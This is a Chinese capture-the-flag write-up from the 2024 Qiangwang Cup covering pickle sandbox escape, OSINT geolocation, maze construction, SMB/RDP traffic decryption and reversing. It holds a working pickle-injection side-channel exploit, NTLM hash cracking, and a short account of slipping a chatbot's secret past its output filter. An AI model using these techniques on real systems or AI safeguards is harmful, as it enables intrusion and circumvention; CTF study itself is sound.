Nebula 战队 - 强网杯 2024 初赛 WRITEUP

一、战队信息

战队名称：Nebula

战队排名：13

二、解题情况

排名	队伍名称	学校/单位名称	总分	Misc								
				pickle_jail	givemesecret	Master of OSINT	Master of DFIR - Coffee	Master of DFIR - Phishing	AbstractMaze	签到	谍影重重5.0	问卷调查	traditional_game
11	WM	联合战队	2280	143	50	50	143	94	0	50	50	50	257
12	Lilac	哈尔滨工业大学	2241	143	52	50	143	94	0	50	50	50	0
13	Nebula	中国科学技术大学	2156	143	50	50	0	0	400	50	50	50	257
14	pkucc	北京大学	2110	143	50	50	0	0	412	50	0	50	0
15	DAWN	武汉大学	2108	143	50	50	0	0	0	50	0	50	0
16	河南烩面	国网河南省电力公司	2037	0	50	50	143	0	0	50	0	50	0
17	or4nge	北京航空航天大学	2007	144	50	50	147	96	400	50	50	50	0
18	L3H_Sec	华中科技大学	2004	143	50	50	143	94	0	50	50	50	257

三、解题过程

Misc

签到

略

flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}

问卷调查

认真填写了问卷

pickle_jail

Pickle jail，限制是：

- Unpickler 不能引入新模块，且 `__builtins__` 被清空
- Eval 的 globals 只留了 `n` 和 `F`

这是非常严格的限制，我能搜到的题都不会限制如此之狠；相对地，要求也很宽松，只需读出变量中的 flag。

Name 输入长度限制 300，对于名字来说实在是长了点，所以那个 +1 应该是用来通过让 len 溢出来用 `name` 注入 pickle 的，同时意味着输入的 random number 几乎只能是 12（

一个构造（假定 flag 最后一位是 `}`）：

- name -> 可控，用于侧信道爆破 flag，同时注入的 pickle 会把后面部分数据变成 bytes，作为 players 来用。
- players -> 如上所述，这个东西的期望是会携带 `flag[:-1]` ，也就是把大括号单独留着
- _ -> `}` 在 pickle opcode 中用来创建一个新的字典，它期望成为 `_` 的值

另外因为 players 会给出，整个 pickle 数据的长度是可知的，只需要利用 name in players 逐位爆破即可。

exp 如下：

```python
# make_pickle_data.py
#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time
# from faker import Faker
import pickletools

def gen(players: list, flag_prefix: str):
    name = b'$' + b'_' * 253
    players.append(name)

    biox = BytesIO()
    Pickler(biox).dump(
        (
            name,
            players,
```

```
            'flag{1234567890abcdefghijklmnopqrstuvasdf}',
        )
    )
    data = bytearray(biox.getvalue())
    # print(data)

    assert data.count(b'$') == 1 and data.count(b'}') == 1
    # 弹出
    # push 第一个参数即 name
    # 处理第二个参数
    # 处理成一整个大bytes B+4字节len+数据
    front = data.find(b'$')
    data[front] = ord('0')
    data[front + 1] = ord('C')
    data[front + 2] = len(flag_prefix)
    data[front + 3:front + 3 + len(flag_prefix)] = flag_prefix
    data[front + 3 + len(flag_prefix)] = ord('B')
    last = data.find(b'}')
    len_param2 = last - (front + 3 + len(flag_prefix)) - 4 - 1
    data[front + 4 + len(flag_prefix):front + 8 + len(flag_prefix)] =
len_param2.to_bytes(4, 'little')

    data[front - 1] = (data[front - 1] + 1) % 255

    # pickletools.dis(data)
    return data[front:front+254]

```

```
# solve.py
#!/usr/local/bin/python
from make_pickle_data import gen
from pickle import Pickler, Unpickler
from pwn import remote, process, context
import pickletools, string

# context(log_level='DEBUG')

def check(flag_prefix):
    rn = remote('8.147.129.74', 24601)
    # rn = process(['python', 'pickle_jail.py'])
    rn.recvuntil(b'players: ')
    players = eval(rn.recvline().decode().strip()[:-1])
    name = gen(players, flag_prefix)
    rn.sendlineafter(b'name?', name)
    rn.sendlineafter(b'to win: \n', bytes([12]))
```

```
    ok = b'but here is no flag' in rn.recvline()
    # print(rn.recvall().decode())
    rn.close()
    return ok

flag = 'flag{'
for i in range(35):
    if i == 4:
        table = [x + y for x in string.hexdigits for y in string.hexdigits]
    else:
        table = '-' + string.hexdigits
    for ch in table:
        flag_prefix = flag + ch
        print(f'Trying {flag} + {ch}...')
        if check(flag_prefix.encode()):
            flag = flag_prefix
            print(f'flag ==> {flag + (41 - len(flag)) * "*"}}}')
            break
```

Givemesecret

小ai嘴很严，但不是很聪明，乱说一通就完事了

鉴定为对输出有一层过滤，不能包括 `{`,`}` 和 `flag`,所以想办法不让AI输出这些内容就行

ex: 非常好笑，如果让他写一个helloworld会在开始main函数体的一瞬间`can't tell you anymore`，这实际上成为了某种意义上的突破口（笑）

ask me for secret

write a helloworld in c

Sure, here's an example of a simple `hello world` program written in

```
#include <stdio.h>

int main()
```

Master of OSINT

本题要求找到10题中9题的地点，最后本队完成了第1-9题的寻找。

图1：

开局一张公路图

根据周边荒无人烟 人烟稀少等 地理特色 初步推断是在我国西部

缩小范围至 青海 西藏 以及川西

再结合图中的红色小房子 以及国道公路两侧栅栏 检索到 如下图片

而根据文章线索 发现大概位置是在 青海省海南藏族自治州

再次检索目标范围内的国道信息

初步断定为 倒湖茶公路

调整经纬度后提交 通过验证 经纬度：99.974532,36.66464

图2：

本题的突破口在于图片右侧中部的大广告牌，上面写着“百安居”字样。经过搜索，可以得知这是一家连锁家居品牌。

考虑到这种家具品牌并不是那么常见，这就可以在地图软件上展开搜索了。一番比对之后，能锁定到图片中的位置是在上海市浦东新区的百安居龙阳店，事实上也是办公总部：

拍摄位置在离此不远的高架上，也就是图中的内环高架路。最终通过本题的经纬度是：121.567614,31.210163

图3

本题的突破口是右侧远处的两个大型建筑物。其中更高的，像柱子一样的建筑很容易联想到机场塔台。

对类似结构进行搜图，能够找到一个相似的机场：成都双流机场。

针对这个机场附近进行搜寻，最后能根据机场主建筑和塔台的相对位置，确定下拍摄角度和位置，是机场南二路和东三路的交汇点，也就是图中的T字路口。

最终经纬度：103.964782,30.57195

图4

本题的突破口有两处。第一处是近处货车车身上的字“浙通物流”，第二处是右侧极远处的IKEA商场。

考虑到浙通物流的地域特色，不妨假设拍摄点就在浙江省。而浙江省内有如此大型宜家卖场的地点，几乎就能直接断定是杭州！事实证明，杭州市临平区的宜家卖场正好符合图片上的特征。

另一方面，路面结构和防风板提示了拍摄地点大概位于一条高架快速路上，结合宜家的地点和距离，就能确定拍摄位置在不远处的杭州绕城高速上。

我们还能注意到，左上方有另一条架得更高的线路，观察卫星图就能发现，这条线路正好是杭州地铁9号线。在交汇点附近取点，就能得到经纬度：120.293197,30.346334



图5

图片中有轻轨 以及高架的重叠 路上轻轨的话可能南京、可能重庆

截取一段百度 识图

发现在重庆有类似风格的建筑风格以及高架

在此开启百度全景 沿着桥看轻轨和高架的走向 并留意周边建筑特点

不断调整视角和角度 更新经纬度 提交答案106.524112,29.52506

图6

这题的突破口在右侧远处的古塔，非常耀眼。

对古塔的结构进行搜图，可以得到这座塔是位于南京的大报恩寺琉璃宝塔。

除此之外，还能注意到“塔前”有一大片正在施工的工地。

对卫星图进行检视，就可以找到一个合理的拍摄位置，即中华门附近的高架桥处。其中，那一大片工地就是现在的越城天地。

最终得到的经纬度：118.781653,32.01369

图7

队伍中有认识拍摄地的人直接给出了答案：橘子洲大桥。

考虑到图中右侧中部的结构，对卫星图检视，可以找到拍摄地点：


AED
橘子洲风景名胜区-
观光车大本营售票处
湘江游轮
橘洲之星
观光车游船
售票处
天鹅亲子
儿童摄影
橘子洲景区停车场
自动售卖机
橘洲餐厅
橘洲便利店
橘子洲大桥
橘洲船票中心
橘子洲·青莲
天福便利店
入
出
观光车候车处
2号线

图8

水域、风电、农田，这三者的组合指向了拍摄地是南方沿海地区，同时道路上有里程牌，证明是一条公路。

对风电＋农田的组合进行搜图，能找到可疑的几张图片：

京东 淘宝 淘宝

图片来源

长兴岛海边的风力电机 - 原创作品 - 站酷（ZCOOL）

站酷

【6.11足不出沪】横沙岛30km环岛休闲骑

小红书

长兴岛面积是多少

百家号

【6月18日足不出沪】30km横沙岛休闲骑活动

小红书

既然如此，不妨就前往长兴岛看看卫星图吧：

风电，大水域，农田。更加能够确信判断的是，长江跨海大桥隶属于G40，正好是能够有里程牌的国道。

最后得到经纬度：121.735097,31.413073

图9

如此宽阔的江面，第一感觉就是长江了。而长江与跨江大桥的组合，直觉上就能引导向武汉。

当然还是应该搜一搜图，一搜，答案便呼之欲出。



类似图片能够引导向一个论坛，而图中的天兴洲大桥，无论从斜拉桥的高塔还是护栏样式，都能对应上。因此拍摄地点是天兴洲大桥无疑。

考虑图片中显示的两岸的相对位置，不难判断只有两个位置可以符合。尝试过后能确定经纬度114.411846,30.662548

完成9个任务后flag自动显示：flag{ba36d2c454729bbc2da53f24a32d21de}

AbstractMaze

本题要求构造特定结构的迷宫，完成五个挑战。

一开始的CStrategy只给出进行了代码混淆过后的寻路算法，但是在后续的附件补充中给出了寻路算法的明确代码。

通过阅读strategy.py代码，可以得到以下对应challenge中使用到的算法信息：

S0：DFS算法，搜索顺序是下→右→上→左

S1：BFS算法

S3：只使用左转进行寻路

S4：只使用右转进行寻路

S6：保持一侧的连续墙面在左手边

以下是对于main.py的解读:

```python
def PoW():
    ab = string.ascii_letters + string.digits
    nonce1 = "".join(random.choices(ab, k=8))
    nonce2 = "".join(random.choices(ab, k=4))
    print(f"{nonce1 = }")
    print(f"{sha256(nonce1.encode() + nonce2.encode()).hexdigest() = }")
    # print(nonce2)
    p = input(f"Give me nonce2:\n> ").strip()
    return p == nonce2
```

进入程序后需要先获取PoW令牌，需要写一个小程序进行计算：

```python
import hashlib
import string
ab = string.ascii_letters + string.digits
a = input()
sha256exp = input()
for i in ab:
    for j in ab:
        for k in ab:
            for l in ab:
                b = i+j+k+l
                if hashlib.sha256(a.encode()+b.encode()).hexdigest() ==
sha256exp:
                    print(b)
```

进入挑战区后总共有5个要求各异的challenge()函数，分块进行解读：

```
def challenge1():
    mapp = getMap(49, 49)
    if not mapp:
        return False
    solver = S1(mapp)
    p, _ = solver.chaPanda()
    printMap(mapp, p)
    return bool(p)
```

第一个挑战要求简单，只需要提供一个49*49，并且能够在BFS算法下形成起点(1,1)到终点(-2,-2)通路的迷宫即可。

```
def challenge2():
    mapp = getMap(49, 49)
    if not mapp:
        return False
    solver1 = S1(mapp)
    solver2 = S0(mapp)
    p1, _ = solver1.chaPanda()
    p2, bp = solver2.chaPanda()
    printMap(mapp, p1)
    printMap(mapp, p2, bp)
    print(0.6*len(mapp)*len(mapp[1]))
    return p1 == p2 and len(bp) > 0.6 * len(mapp) * len(mapp[1])
```

第二个挑战要求在BFS和DFS算法下，从迷宫起始点(1,1)出发到达终点(-2,-2)的长度相同，并且DFS算法下，算法尝试过的路径长度总长大于 `0.6 * len(mapp) * len(mapp[1])` ，即1440.6。

```
def challenge3():
    mapp = getMap(49, 49)
    if not mapp:
        return False
    solver = S0(mapp)
    p, bp = solver.chaPanda()
    printMap(mapp, p)
    return len(p) >= 1495
```

challenge3的要求是：在DFS算法下从起点到终点的路径总长大于等于1495.

```python
def challenge4():
    mapp = getMap(49, 49)
    if not mapp:
        return False
    sol1 = S3(mapp)
    sol2 = S4(mapp)
    p1, _ = sol1.chaPanda(24, 24)
    p2, _ = sol2.chaPanda(24, 24)
    if not p1 or not p2:
        return False
    printMap(mapp, p1)
    printMap(mapp, p2)
    return len(p1) <= 50 and (len(p2)-1595)/16 + 0.5 >= random.random()
```

challenge4产生了一个变化:chaPanda的参数由置空变成了(24,24)。阅读chaPanda()的代码可知，本挑战的起点由默认(1,1)变为了盘面中心点(24,24)。除此之外，challenge4的要求是：对于只向左转的寻路算法，要求通路长度小于等于50，并且对于只向右转的寻路算法，要求通路长度满足`(len(p2)-1595)/16 + 0.5 >= random.random()`，考虑最差情况（也就是`random.random()`取值为1的情况）,可以解得此时的通路长度需要大于等于1603.

左右两者差距巨大，可以考虑左侧只进行一次转弯直达终点（事实上50=25*2也暗示了路径长度），右侧进行螺旋式寻路。

```python
def challenge5():
    mapp = getMap(49, 49)
    if not mapp:
        return False
    sol1 = S0(mapp)
    sol2 = S6(mapp)
    p1, _ = sol1.chaPanda()
    p2, _ = sol2.chaPanda()
    printMap(mapp, p1)
    printMap(mapp, p2)
    return len(p1) <= 142 and len(p2) >= 2210 and len(set(p2))/(49*49) < 0.5
```

challenge5使用了DFS和保持一侧连续墙在左手边的算法。对于DFS，需要通路长度小于等于142；对于另一种，需要通路长度大于2210，并且满足`len(set(p2))/(49*49) < 0.5`。由于DFS的搜索顺序是先下再右，可以考虑为DFS建立一条L型捷径，让另一种算法拐大量的U型弯满足路径长度，最后构造出迷宫。

最终的完整解题脚本：

```python
from pwn import *
```

```python
from hashlib import sha256
import base64

rn = process(['python', 'main.py'])
rn = remote('47.104.153.150', 10086)

context(log_level='debug')

def PoW():
    rn.recvuntil(b"nonce1 = '")
    nonce1 = rn.recvline().decode().split('\'')[0]
    print(f'[+] {nonce1 = }')
    rn.recvuntil(b".hexdigest() = '")
    sha256_result = rn.recvline().decode().split('\'')[0]
    print(f'[+] {sha256_result = }')
    for i in string.ascii_letters + string.digits:
        for j in string.ascii_letters + string.digits:
            for k in string.ascii_letters + string.digits:
                for l in string.ascii_letters + string.digits:
                    data = nonce1 + i + j + k + l
                    if sha256(data.encode()).hexdigest() == sha256_result:
                        rn.sendlineafter(b'> ', (i + j + k + l).encode())
                        return

def make_map():
    mp = [[0 for i in range(49)] for j in range(49)]
    for i in range(49):
        mp[i][0] = mp[0][i] = mp[i][48] = mp[48][i] = 1
    return mp

def send_map(mp, printPathCount):
    ss = ''
    for i in range(49):
        for j in range(49):
            ss += str(mp[i][j])
        ss += '\n'
    rn.sendlineafter(b'> ', base64.b64encode(ss.strip().encode()))
    for i in range(printPathCount):
        rn.recvuntil(b'len(path) = ')
        res = b'len(path) = ' + rn.recvline().strip()
        print(f'    Path Info [{i}]: {res.decode()}')

def chall1():
    print("[+] chall1: make map")
    mp = make_map()
    send_map(mp, 2)

```

```python
def chall2():
    print("[+] chall2: make dfs bp long")
    mp = make_map()
    for i in range(2, 49):
        mp[i][46] = 1
    for j in range(2, 47):
        mp[2][j] = 1
    send_map(mp, 3)

def chall3():
    print("[+] chall3: make dfs long path")
    mp = make_map()
    for i in range(2, 49):
        mp[i][46] = 1
    for j in range(3, 47):
        mp[2][j] = 1
    send_map(mp, 2)

def chall4():
    print("[+] chall4: make turn bp long")
    mp = make_map()
    for i in range(0, 24):
        # mp[48 - i][24 - i] = 1
        mp[48 - i - 2][24 - i - 2] = 1
        mp[i][24 - i - 1] = 1
        if i != 23:
            mp[i + 1][24 + i + 2] = 1
        mp[48 - i - 2][24 + i + 1] = 1
    mp[24][47] = 0
    mp[47][22] = 1
    send_map(mp, 3)

def chall5():
    print("[+] chall5: make stick long path")
    mp = make_map()
    for i in range(2, 47, 2):
        for j in range(2, 49):
            mp[i][j] = 1
    send_map(mp, 3)

PoW()
rn.sendlineafter(b'>', b'icq1d90690ac7c718ff21d7e228c0870')
chall1()
chall2()
chall3()
chall4()
chall5()
```

```
print(rn.recvall().decode())
```

完成五个任务后得到flag：flag{61268af6f7e6fa24541195e5a2ea776e}

谍影重重 5.0

打开流量包，发现有用smb3协议来传输。根据文章：https://malwarelab.eu/posts/tryhackme-smb-decryption/，首先在流量包中得到基本的信息：

```
session_id 0x0000100000000005
session_key 669980b0f98be63687b15526c2526861

user= "tom"
domain= "."
password = ???
NTProofStr = a0e42a75c54bbb0fab814593569faa22
EncryptedSessionKey = C914ADCEB0F1C32FB7C2548D8D959F01
```

然后根据格式：`username::domain:ntlmserverchallenge:ntproofstr:rest_of_ntresponse`，可以用hashcat爆破密码：

> tom::.:c1dec53240124487:ca32f9b5b48c04ccfa96f35213d63d75:0101000000000000040d0731fb92adb01221434d6e2497017000000002001e004400450053004b0054004f0050002d004a00300045004500390004d00520001001e004400450053004b0054004f0050002d004a003000450045003900 4d00520004001e004400450053004b0054004f0050002d004a00300045004500390004d00520003001e004400450053004b0054004f0050002d004a00300045004500390004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000010000000020000 0bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e00310030003500 2e003100320039000000000000000000

得到密码是：`babygirl233`。在wireshark中将ntlmssp协议的密码设为这个，就可以解密SMB流量。导出文件得到一个`flag.zip`和两个证书文件。

同时，在流量包中，还可以发现rdp流量。根据https://www.haxor.no/en/article/analyzing-captured-rdp-sessions对流量进行解密并分析。

先利用已经得到的两个证书对rdp流量进行解密。先导入两个证书，其中pfx证书的密码是`mimikatz`。导入证书之后就可以解密TLS流量。

然后导出OSI layer 7流量为pcap文件之后，接着用pyrdp工具转换并读取流量信息，是一串键盘信息。得到压缩包的密码是：f'{windows_password}9347013182'，也就是 `babygirl2339347013182` 。

解压 `flag.zip` 得到flag。

Reverse

boxx

9层迷宫，每次移动会按规则更新map

移动规则：

1.每层开始的当前位置为2；

2.下一个位置不能为1|5；走过的路径为0；

3.下一个位置为3时，同方向下下位置不为1，如果下下位置为0|3|5，则设为3。如果下下位置为4则更新为5，下个位置更新为0并减去计数count。

其实就是推箱子游戏，复位的箱子为5, 需要推动的箱子为3，把所有3推到4位置上就是赢

```
map level 0 wwaaddssaaaww | 2
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 4 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 3 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 0 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 1 1 0 0 1 1 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 1 0 0 0 1 1 1 1 1 0
0 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 1 0
0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0
0 0 0 0 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 0
0 0 0 0 1 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 1 1 1 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
map level 1 ddddddsddddddssaaaassssaaaassaassdawwddsssdsaaaaa | 12
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
```

```
0 1 2 0 0 3 0 0 0 4 0 0 0 0 0 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
0 1 0 0 0 0 1 1 1 1 1 0 0 0 1 1 1 1 1 0
0 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 1 1 1 1 1 0 0 0 1 0 0 0 1 0 0 0 1 0
0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 1 0
0 0 1 1 1 1 1 0 0 0 1 0 0 0 1 1 1 1 1 0
0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0
0 0 1 0 0 0 1 0 1 1 1 0 0 0 1 1 1 1 1 0
0 0 1 0 0 0 3 0 0 0 1 0 0 0 1 0 0 0 1 0
0 0 1 1 1 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0
0 0 4 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0
0 1 1 1 1 1 1 1 1 1 1 0 0 0 1 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0
map level 2 | 13 | aawwwwwwaaaaawwwaaaaaasdwdsswddddssaaaaaaadddddddddddsssaaaaaaaaaaaawwwwwww
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1
1 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1
1 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1
1 0 1 0 3 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1
1 0 1 1 1 0 1 1 1 0 1 1 1 1 1 0 0 0 0 1
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1
1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 1
1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 1 0 0 1
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
map level 3 wwaaaaaaaaaaasaww | 9
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
1 0 0 0 0 0 0 1 1 1 1 1 1 1 0 0 0 0 0 1
1 0 0 0 0 0 0 0 3 0 0 0 0 1 0 0 0 0 0 1
1 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 1
1 0 0 0 0 0 0 1 0 0 0 0 2 1 0 0 0 0 0 1
1 0 0 0 0 0 0 1 1 1 1 1 1 1 0 0 0 0 0 1
```

```
 72 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
 73 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 74 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1
 75 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 1 1
 76 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0
 77 1 0 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 1 0 0
 78 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
 79 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 80 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 81 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 82 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 83 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 84 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
 85 map level 4 wwaaaaaaaaaddddddddddssaaaaaaaaaawwwawddddddddddd | 21
 86 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 87 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
 88 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
 89 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
 90 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
 91 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
 92 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 0 0 1
 93 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 1
 94 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1 1 1 1 0 1
 95 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1
 96 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
 97 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 1
 98 1 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 1 1 0 1
 99 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 1 0 0 1
100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
101 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0 0 0 1
102 1 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 0 1 0 1
103 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 1
104 1 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1
105 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 1
106 map level 5 dddddwwaaaaaaaaaaaaaddddddddddddddssssssssssassdsaaaaaa | 13
107 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
108 1 4 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 1
109 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1
110 1 0 1 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 1
111 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 0 1
112 1 0 1 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 1
113 1 0 1 0 1 0 1 1 1 1 1 1 0 1 1 1 0 1 0 0 1
114 1 0 0 0 1 0 1 0 0 0 1 0 1 0 0 0 1 0 0 1
115 1 0 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 1 0 1
116 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
117 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1
118 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 1
```

```
119 1 0 0 0 0 0 0 1 1 1 1 1 1 1 0 1 1 1 0 1
120 1 0 0 0 0 0 0 1 0 0 0 0 0 0 3 0 1 0 0 1
121 1 1 1 1 1 1 1 1 4 0 0 0 0 0 0 0 1 0 0 1
122 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
123 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
124 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
125 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
126 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
127 map level 6
    aaaasssssaaaassssddddddddddddawwwddddwwddddssssaaaaaassssdsaaaaaaaaaaaa | 25
128 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
129 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 1
130 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
131 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
132 1 0 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 1
133 1 0 1 0 1 0 0 0 0 2 1 0 0 0 0 0 0 0 0 1
134 1 0 1 0 1 0 1 1 1 1 1 1 0 1 1 1 1 1 1 0 1
135 1 0 1 0 1 0 1 0 0 0 0 0 1 0 0 0 0 0 0 1
136 1 0 0 0 1 0 1 0 1 1 1 1 1 1 0 1 1 1 1 0 1
137 1 1 1 1 1 0 1 0 1 0 0 0 0 0 1 0 0 0 0 1
138 1 0 0 0 0 0 1 0 1 0 1 1 1 1 1 1 0 1 1 0 1
139 1 0 1 1 1 1 1 1 0 1 0 1 0 0 0 0 0 1 0 0 1
140 1 0 1 0 0 0 0 0 1 0 1 0 1 1 1 1 1 1 0 0 1
141 1 0 1 0 1 1 1 1 1 1 0 1 0 1 0 0 0 0 0 0 1
142 1 0 0 0 3 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1
143 1 1 1 1 1 1 0 1 1 1 1 1 1 0 1 0 1 0 0 0 0 1
144 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 1 1 1 1
145 1 0 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 1 0 0 1
146 1 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
147 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
148 map level 7 | 31 |
    aaaaaaaassddddddddddddwwaaaaaaaaaaaaaaaaddddddddddddddddssaaaaaaaaaaaaaaaasssssssdaa
    assddddwwwwwsssaawwwwwwddddddddddddddddsssssssssssssssssaaaaaaaaaaaaaaaaawwwwwwdd
    ddddddddddddd
149 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
150 1 4 0 0 0 0 0 0 0 0 0 0 0 2 0 0 3 0 0 1
